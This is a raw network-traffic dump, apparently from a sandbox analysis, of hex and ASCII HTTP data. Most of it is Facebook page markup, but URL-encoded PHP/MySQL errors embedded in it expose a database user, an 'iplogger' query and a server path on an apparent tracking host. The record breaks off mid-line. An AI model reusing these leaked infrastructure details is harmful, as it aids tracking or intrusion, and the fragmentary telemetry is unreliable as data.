2022-10-08 09:34:05 UTC	4	IN	Data Raw: 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b Data Ascii: WdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK
2022-10-08 09:34:05 UTC	5	IN	Data Raw: 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f Data Ascii: 0Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfo
2022-10-08 09:34:05 UTC	7	IN	Data Raw: 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 Data Ascii: 0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font
2022-10-08 09:34:05 UTC	8	IN	Data Raw: 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 58 48 77 75 41 5f 5f 34 32 41 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 34 42 47 54 6d 43 37 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 39 2f 6c 2f 30 2c 63 72 6f 73 73 2f 71 62 76 39 35 6f 5a 33 65 6c 42 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 Data Ascii: ps://static.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/XHwuA__42Af.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="4BGTmC7" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/y9/l/0,cross/qbv95oZ3elB.css?_nc_x=Ij3Wp8lg5Kz" dat
2022-10-08 09:34:05 UTC	10	IN	Data Raw: 22 41 54 36 6e 4e 31 65 68 54 39 79 71 2d 32 71 36 63 61 55 22 7d 2c 22 31 32 31 37 31 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 42 37 59 6d 6c 6c 4f 73 41 72 6e 4b 36 42 44 45 22 7d 2c 22 31 35 35 34 38 32 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 7a 75 65 47 4c 68 47 6f 30 63 54 35 78 35 64 63 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 44 77 68 55 78 6c 45 22 7d 7d 2c 22 71 70 6c 44 61 74 61 22 3a 7b 22 37 37 35 38 22 3a 7b 22 72 22 3a 31 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 53 65 Data Ascii: "AT6nN1ehT9yq-2q6caU"},"1217157":{"result":false,"hash":"AT6B7YmllOsArnK6BDE"},"1554827":{"result":false,"hash":"AT7zueGLhGo0cT5x5dc"},"1738486":{"result":false,"hash":"AT4cX37oQco6DwhUxlE"}},"qplData":{"7758":{"r":1}}})});requireLazy(["TimeSliceImpl","Se
2022-10-08 09:34:05 UTC	11	IN	Data Raw: 78 2d 72 65 66 65 72 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 78 2d 73 72 63 22 3a 7b 22 74 22 3a 31 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 7d 2c 32 31 30 34 5d 2c 5b 22 43 75 72 72 65 6e 74 43 6f 6d 6d 75 6e 69 74 79 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 7d 2c 34 39 30 5d 2c 5b 22 43 75 72 72 65 6e 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 5b 5d 2c 7b 22 66 61 63 65 62 6f 6f 6b 64 6f 74 63 6f 6d 22 3a 74 72 75 65 2c 22 6d 65 73 73 65 6e 67 65 72 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 77 6f 72 6b 70 6c 61 63 65 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 69 6e 73 74 61 67 72 61 6d 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 7d 2c 38 32 37 5d 2c 5b 22 43 75 72 72 65 6e 74 55 73 65 72 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c Data Ascii: x-referer":{"s":"None"},"x-src":{"t":1,"s":"None"}},2104],["CurrentCommunityInitialData",[],{},490],["CurrentEnvironment",[],{"facebookdotcom":true,"messengerdotcom":false,"workplacedotcom":false,"instagramdotcom":false},827],["CurrentUserInitialData",[],
2022-10-08 09:34:05 UTC	13	IN	Data Raw: 2c 5b 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 2c 5b 5d 2c 7b 22 62 72 6f 77 73 65 72 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 62 72 6f 77 73 65 72 46 75 6c 6c 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4d 69 6e 6f 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 64 65 76 69 63 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 6c 61 74 66 6f 72 6d 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 70 6c 61 74 66 6f 72 6d 4e 61 6d Data Ascii: ,["UserAgentData",[],{"browserArchitecture":"64","browserFullVersion":null,"browserMinorVersion":null,"browserName":"Unknown","browserVersion":null,"deviceName":"Unknown","engineName":"Unknown","engineVersion":null,"platformArchitecture":"64","platformNam
2022-10-08 09:34:05 UTC	14	IN	Data Raw: 52 54 5f 4d 41 49 4e 5f 4c 4f 47 47 45 52 22 2c 22 57 4f 52 4b 50 4c 41 43 45 5f 50 4c 41 54 46 4f 52 4d 5f 53 45 43 55 52 45 5f 41 50 50 53 5f 4d 41 49 4c 42 4f 58 45 53 22 2c 22 50 4f 43 4b 45 54 5f 4d 4f 4e 53 54 45 52 53 5f 55 50 44 41 54 45 5f 4e 41 4d 45 22 2c 22 49 43 5f 44 49 53 41 42 4c 45 5f 4d 45 52 47 45 5f 54 4f 4f 4c 5f 46 45 45 44 5f 43 48 45 43 4b 5f 46 4f 52 5f 52 45 50 4c 41 43 45 5f 53 43 48 45 44 55 4c 45 22 2c 22 41 44 53 5f 45 50 44 5f 49 4d 50 41 43 54 45 44 5f 41 44 56 45 52 54 49 53 45 52 5f 4d 49 47 52 41 54 45 5f 58 43 4f 4e 54 52 4f 4c 4c 45 52 22 2c 22 52 45 43 52 55 49 54 49 4e 47 5f 43 41 4e 44 49 44 41 54 45 5f 50 4f 52 54 41 4c 5f 41 43 43 4f 55 4e 54 5f 44 45 4c 45 54 49 4f 4e 5f 43 41 52 44 22 2c 22 42 49 5a 5f 49 4e 42 Data Ascii: RT_MAIN_LOGGER","WORKPLACE_PLATFORM_SECURE_APPS_MAILBOXES","POCKET_MONSTERS_UPDATE_NAME","IC_DISABLE_MERGE_TOOL_FEED_CHECK_FOR_REPLACE_SCHEDULE","ADS_EPD_IMPACTED_ADVERTISER_MIGRATE_XCONTROLLER","RECRUITING_CANDIDATE_PORTAL_ACCOUNT_DELETION_CARD","BIZ_INB
2022-10-08 09:34:05 UTC	16	IN	Data Raw: 66 63 2e 63 6f 2e 74 68 22 2c 22 6c 65 61 72 6e 2e 70 61 6e 74 68 65 6f 6e 2e 69 6f 22 2c 22 77 77 77 2e 6c 61 6e 64 6d 61 72 6b 73 68 6f 70 73 2e 69 6e 22 2c 22 77 77 77 2e 6e 63 6c 2e 63 6f 6d 22 2c 22 73 30 2e 77 70 2e 63 6f 6d 22 2c 22 77 77 77 2e 74 61 74 61 63 6c 69 71 2e 63 6f 6d 22 2c 22 62 73 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 22 2c 22 6b 6f 68 6c 73 2e 63 6f 6d 22 2c 22 6c 61 7a 61 64 61 2e 63 6f 2e 74 68 22 2c 22 78 67 34 6b 65 6e 2e 63 6f 6d 22 2c 22 74 65 63 68 6e 6f 70 61 72 6b 2e 72 75 22 2c 22 6f 66 66 69 63 65 64 65 70 6f 74 2e 63 6f 6d 2e 6d 78 22 2c 22 62 65 73 74 62 75 79 2e 63 6f 6d 2e 6d 78 22 2c 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 6e 69 62 69 6f 2e 6e 6f 22 5d 7d 2c 33 38 37 31 5d 2c 5b 22 49 6e 69 74 69 61 6c Data Ascii: fc.co.th","learn.pantheon.io","www.landmarkshops.in","www.ncl.com","s0.wp.com","www.tatacliq.com","bs.serving-sys.com","kohls.com","lazada.co.th","xg4ken.com","technopark.ru","officedepot.com.mx","bestbuy.com.mx","booking.com","nibio.no"]},3871],["Initial
2022-10-08 09:34:05 UTC	17	IN	Data Raw: 22 5c 2f 5c 75 30 30 30 31 28 2e 2a 29 28 27 7c 26 23 30 33 39 3b 29 73 5c 75 30 30 30 31 28 3f 3a 27 7c 26 23 30 33 39 3b 29 73 28 2e 2a 29 5c 2f 22 3a 22 5c 75 30 30 30 31 24 31 24 32 73 5c 75 30 30 30 31 24 33 22 2c 22 5c 2f 5f 5c 75 30 30 30 31 28 5b 5e 5c 75 30 30 30 31 5d 2a 29 5c 75 30 30 30 31 5c 2f 22 3a 22 6a 61 76 61 73 63 72 69 70 74 22 7d 7d 2c 31 34 39 36 5d 2c 5b 22 49 6e 74 6c 56 69 65 77 65 72 43 6f 6e 74 65 78 74 22 2c 5b 5d 2c 7b 22 47 45 4e 44 45 52 22 3a 33 2c 22 72 65 67 69 6f 6e 61 6c 4c 6f 63 61 6c 65 22 3a 6e 75 6c 6c 7d 2c 37 37 32 5d 2c 5b 22 4e 75 6d 62 65 72 46 6f 72 6d 61 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 22 3a 22 2e 22 2c 22 6e 75 6d 62 65 72 44 65 6c 69 6d 69 74 65 72 Data Ascii: "\/\u0001(.)('\|')s\u0001(?:'\|')s(.)\/":"\u0001$1$2s\u0001$3","\/_\u0001([^\u0001]*)\u0001\/":"javascript"}},1496],["IntlViewerContext",[],{"GENDER":3,"regionalLocale":null},772],["NumberFormatConfig",[],{"decimalSeparator":".","numberDelimiter
2022-10-08 09:34:05 UTC	19	IN	Data Raw: 69 78 65 6c 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 63 61 72 72 69 65 72 5f 6c 61 6e 64 69 6e 67 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 6c 65 78 5c 2f 6c 6f 67 67 69 6e 67 5c 2f 22 3a 31 2c 22 5c 2f 0d 0a Data Ascii: ixel\/":1,"\/zero\/balance\/":1,"\/zero\/balance\/carrier_landing\/":1,"\/zero\/flex\/logging\/":1,"\/
2022-10-08 09:34:05 UTC	19	IN	Data Raw: 64 33 37 66 0d 0a 74 72 22 3a 31 2c 22 5c 2f 74 72 5c 2f 22 3a 31 2c 22 5c 2f 73 65 6d 5f 63 61 6d 70 61 69 67 6e 73 5c 2f 73 65 6d 5f 70 69 78 65 6c 5f 74 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 62 6f 6f 6b 6d 61 72 6b 73 5c 2f 66 6c 79 6f 75 74 5c 2f 62 6f 64 79 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 73 75 62 6e 6f 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 69 6e 74 65 72 6e 65 74 64 6f 74 6f 72 67 5c 2f 63 6c 61 73 73 69 66 69 65 72 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 6f 67 66 6f 6f 64 69 6e 67 22 3a 31 2c 22 5c 2f 78 74 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 62 6c 69 74 65 5c 2f 63 6f 6e 66 69 Data Ascii: d37ftr":1,"\/tr\/":1,"\/sem_campaigns\/sem_pixel_test\/":1,"\/bookmarks\/flyout\/body\/":1,"\/zero\/subno\/":1,"\/confirmemail.php":1,"\/policies\/":1,"\/mobile\/internetdotorg\/classifier\/":1,"\/zero\/dogfooding":1,"\/xti.php":1,"\/zero\/fblite\/confi
2022-10-08 09:34:05 UTC	20	IN	Data Raw: 68 64 61 79 5f 68 65 6c 70 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 61 74 61 70 6f 6c 69 63 79 22 3a 31 2c 22 5c 2f 61 5c 2f 74 69 6d 65 7a 6f 6e 65 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 5c 2f 62 7a 22 3a 31 2c 22 5c 2f 62 7a 5c 2f 72 65 6c 69 61 62 69 6c 69 74 79 22 3a 31 2c 22 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 6d 72 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 69 73 74 72 61 74 69 6f 6e 5c 2f 6c 6f 67 5c 2f 22 Data Ascii: hday_help.php":1,"\/wap\/c.php":1,"\/wap\/confirmemail.php":1,"\/wap\/cr.php":1,"\/wap\/login.php":1,"\/wap\/r.php":1,"\/zero\/datapolicy":1,"\/a\/timezone.php":1,"\/a\/bz":1,"\/bz\/reliability":1,"\/r.php":1,"\/mr\/":1,"\/reg\/":1,"\/registration\/log\/"
2022-10-08 09:34:05 UTC	22	IN	Data Raw: 61 6c 73 65 2c 22 65 6e 61 62 6c 65 5f 66 61 6c 6c 62 61 63 6b 5f 66 6f 72 5f 62 72 22 3a 74 72 75 65 2c 22 66 69 78 5f 62 72 5f 69 6e 69 74 5f 72 63 22 3a 66 61 6c 73 65 2c 22 71 75 65 75 65 5f 61 63 74 69 76 61 74 69 6f 6e 5f 65 78 70 65 72 69 6d 65 6e 74 22 3a 66 61 6c 73 65 2c 22 6d 61 78 5f 64 65 6c 61 79 5f 62 72 5f 71 75 65 75 65 22 3a 36 30 30 30 30 2c 22 6d 61 78 5f 64 65 6c 61 79 5f 62 72 5f 71 75 65 75 65 5f 69 6d 6d 65 64 69 61 74 65 22 3a 33 7d 2c 35 32 33 37 5d 2c 5b 22 63 72 3a 36 39 36 37 30 33 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 33 64 57 56 78 71 50 68 5f 65 54 4a 34 59 68 77 5f 42 46 70 78 6e 78 34 4a 65 31 58 35 53 63 2d 78 52 61 66 46 77 76 44 38 75 55 4d 34 6e 48 6a 36 45 74 64 41 4d 56 43 50 7a 63 48 77 Data Ascii: alse,"enable_fallback_for_br":true,"fix_br_init_rc":false,"queue_activation_experiment":false,"max_delay_br_queue":60000,"max_delay_br_queue_immediate":3},5237],["cr:696703",[],{"__rc":[null,"Aa3dWVxqPh_eTJ4Yhw_BFpxnx4Je1X5Sc-xRafFwvD8uUM4nHj6EtdAMVCPzcHw
2022-10-08 09:34:05 UTC	23	IN	Data Raw: 6c 69 6e 65 46 62 74 52 65 73 75 6c 74 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 49 6e 6c 69 6e 65 46 62 74 52 65 73 75 6c 74 49 6d 70 6c 22 2c 22 41 61 33 64 57 56 78 71 50 68 5f 65 54 4a 34 59 68 77 5f 42 46 70 78 6e 78 34 4a 65 31 58 35 53 63 2d 78 52 61 66 46 77 76 44 38 75 55 4d 34 6e 48 6a 36 45 74 64 41 4d 56 43 50 7a 63 48 77 55 52 64 7a 35 4f 42 75 45 73 6d 4f 73 64 76 35 65 55 54 4d 34 35 50 7a 6c 4f 66 38 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 32 35 31 30 30 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 22 41 61 33 64 57 56 78 71 50 68 5f 65 54 4a 34 59 68 77 5f 42 46 70 78 6e 78 34 4a 65 31 58 35 53 63 2d 78 52 61 66 46 77 76 44 38 75 55 4d 34 6e 48 6a 36 45 74 64 41 4d 56 43 50 Data Ascii: lineFbtResultImpl"],{"__rc":["InlineFbtResultImpl","Aa3dWVxqPh_eTJ4Yhw_BFpxnx4Je1X5Sc-xRafFwvD8uUM4nHj6EtdAMVCPzcHwURdz5OBuEsmOsdv5eUTM45PzlOf8"]},-1],["cr:925100",["RunBlue"],{"__rc":["RunBlue","Aa3dWVxqPh_eTJ4Yhw_BFpxnx4Je1X5Sc-xRafFwvD8uUM4nHj6EtdAMVCP
2022-10-08 09:34:05 UTC	25	IN	Data Raw: 6e 22 2c 22 74 72 61 6e 73 69 74 69 6f 6e 5f 69 64 22 3a 30 2c 22 76 65 72 73 69 6f 6e 22 3a 36 7d 2c 35 38 38 38 5d 2c 5b 22 63 72 3a 36 38 36 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 31 57 43 4b 31 45 46 46 2d 62 34 73 76 61 52 39 53 77 42 61 59 5f 38 6d 68 4b 45 36 6e 58 30 33 6f 46 75 2d 42 69 44 41 76 38 76 74 41 77 6e 52 68 58 6d 4f 50 35 78 42 59 31 47 73 46 7a 63 6c 66 38 73 78 6f 69 74 76 53 74 35 6c 78 74 74 61 54 72 41 62 6c 79 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 39 38 34 30 38 31 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 32 77 37 4d 74 46 47 79 65 39 45 39 67 56 52 6d 54 4b 78 33 43 61 38 38 59 56 49 71 4f 38 33 47 55 37 66 43 30 48 55 4b 75 72 68 5a 36 4e 79 39 6b 33 70 59 6e 63 49 61 59 Data Ascii: n","transition_id":0,"version":6},5888],["cr:686",[],{"__rc":[null,"Aa1WCK1EFF-b4svaR9SwBaY_8mhKE6nX03oFu-BiDAv8vtAwnRhXmOP5xBY1GsFzclf8sxoitvSt5lxttaTrAbly"]},-1],["cr:1984081",[],{"__rc":[null,"Aa2w7MtFGye9E9gVRmTKx3Ca88YVIqO83GU7fC0HUKurhZ6Ny9k3pYncIaY
2022-10-08 09:34:05 UTC	26	IN	Data Raw: 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 6c 6f 67 69 6e 5f 66 6f 72 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 22 20 69 64 3d 22 75 5f 30 5f 30 5f 63 30 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 77 68 69 74 65 22 3e 4a 6f 69 6e 20 6f 72 20 4c 6f 67 20 49 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 20 e2 80 89 20 3c 69 20 63 6c 61 73 73 3d 22 5f 33 6a 69 69 20 69 6d 67 20 73 70 5f 6f 74 31 74 35 59 6a 59 4c 33 73 20 73 78 5f 62 65 35 35 61 34 22 20 69 64 3d 22 75 5f 30 5f 31 5f 34 76 22 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 37 20 5f 79 6c 62 20 5f 5f 74 77 20 68 69 64 64 65 6e 5f 65 6c 65 6d 22 20 69 64 3d 22 75 5f 30 5f 32 5f 50 69 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: data-testid="royal_login_form"><a href="/" id="u_0_0_c0"><span style="color: white">Join or Log Into Facebook <i class="_3jii img sp_ot1t5YjYL3s sx_be55a4" id="u_0_1_4v"></i></span></a><div class="_yl7 _ylb __tw hidden_elem" id="u_0_2_Pi"><div class="
2022-10-08 09:34:05 UTC	28	IN	Data Raw: 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 67 6e 72 6e 64 22 20 76 61 6c 75 65 3d 22 30 32 33 34 30 35 5f 43 2d 6e 66 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 6c 67 6e 6a 73 22 20 6e 61 6d 65 3d 22 6c 67 6e 6a 73 22 20 76 61 6c 75 65 3d 22 6e 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 61 62 5f 74 65 73 74 5f 64 61 74 61 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 6c 6f 63 61 6c 65 22 20 6e 61 6d 65 3d 22 6c 6f 63 61 6c 65 22 20 76 61 6c 75 65 3d 22 65 6e 5f 55 53 22 20 2f 3e Data Ascii: "hidden" name="lgnrnd" value="023405_C-nf" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><input type="hidden" autocomplete="off" name="ab_test_data" value="" /><input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US" />
2022-10-08 09:34:05 UTC	29	IN	Data Raw: 20 6f 72 20 74 68 65 20 70 61 67 65 20 6d 61 79 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2e 3c 2f 68 33 3e 3c 69 20 63 6c 61 73 73 3d 22 6d 76 6c 20 69 6d 67 20 73 70 5f 6f 74 31 74 35 59 6a 59 4c 33 73 20 73 78 5f 37 37 38 38 63 30 22 3e 3c 2f 69 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 62 6c 20 70 76 6c 20 5f 34 2d 64 72 20 66 73 6d 20 66 77 6e 20 66 63 67 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 62 61 63 6b 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f Data Ascii: or the page may have been removed.</h3><i class="mvl img sp_ot1t5YjYL3s sx_7788c0"></i><div class="mbl pvl _4-dr fsm fwn fcg" role="navigation"><a href="#" onclick="history.back();" data-gt="{"target":"back","marketing_page_
2022-10-08 09:34:05 UTC	30	IN	Data Raw: 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 